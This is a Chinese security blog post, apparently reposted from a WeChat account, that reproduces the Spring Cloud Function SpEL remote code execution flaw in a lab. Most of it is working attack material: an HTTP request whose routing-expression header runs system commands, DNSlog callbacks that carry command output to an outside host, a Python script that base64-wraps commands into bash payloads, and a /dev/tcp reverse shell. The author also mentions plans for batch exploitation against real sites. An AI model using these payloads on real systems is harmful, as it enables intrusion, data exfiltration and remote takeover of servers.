Spring-cloud-function-SpEL远程代码执行

admin 2025年2月25日13:36:00评论6 views字数 1142阅读3分48秒阅读模式

Spring-cloud-function-SpEL代码执行漏洞复现

 本文简单复现Spring Cloud Function SpEL远程代码执行,由于每个网站的路由不一样,所以说爆破网站路由path才能进行利用成功,后续再进行更新批量POC以及EXP

01

环境搭建

spring3.2.2使用idea打包成jar包,直接使用kali启动,版本jdk11

Spring-cloud-function-SpEL远程代码执行

启动之后直接访问

Spring-cloud-function-SpEL远程代码执行

成功搭建

02

漏洞复现

1.漏洞探测

POST /functionRouter HTTP/1.1Host:192.168.123.195:8080spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("ping g9juaf.dnslog.cn")Content-Type: application/x-www-form-urlencodedContent-Length: 3rce

Spring-cloud-function-SpEL远程代码执行

dnslog上面查看回显

Spring-cloud-function-SpEL远程代码执行

2.命令执行

配合dnslog尝试带出命令回显

以下命令只适用于Linux

ping `whoami`.dnslog

进行bash-c加密

ping `whoami`.g9juaf.dnslog.cnbash -c {echo,cGluZyBgd2hvYW1pYC5nOWp1YWYuZG5zbG9nLmNu}|{base64,-d}|{bash,-i}

加密代码如下:

import base64cmd =input('请输入你要加密的命令:')cmd = cmd.encode('utf-8')cmd = str(base64.b64encode(cmd))cmd = cmd.strip('b')cmd = cmd.strip("'")paload = 'bash -c {echo,' + cmd + '}|{base64,-d}|{bash,-i}'print(paload)

再手动请求

Spring-cloud-function-SpEL远程代码执行

查看dnslog回显

Spring-cloud-function-SpEL远程代码执行

发现成功带出

3.反弹shell

同样的我们将反弹shell进行bash加密

bash -i >&/dev/tcp/192.168.123.195/7777 0>&1

Spring-cloud-function-SpEL远程代码执行

反弹成功

Spring-cloud-function-SpEL远程代码执行

好久没写水文了,今天发篇水文,本来批量POC跟反弹EXP都写好了,但是下午发现一个问题,每个源码的路由都不一样,但是默认路由是functionRouter可能在真实环境中确实存在默认路由的名称,但是触发漏洞几率又小,有的能触发漏洞但是未必出网,考虑到种种原因,还是把github上的源码给隐藏了,等明天找找路由字典,再去琢磨琢磨怎么写批量POC,感谢各位大佬观看,今天的文章就到这,欢迎三连

Spring-cloud-function-SpEL远程代码执行

原文始发于微信公众号(chaosec):Spring-cloud-function-SpEL远程代码执行

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月25日13:36:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring-cloud-function-SpEL远程代码执行http://cn-sec.com/archives/847192.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息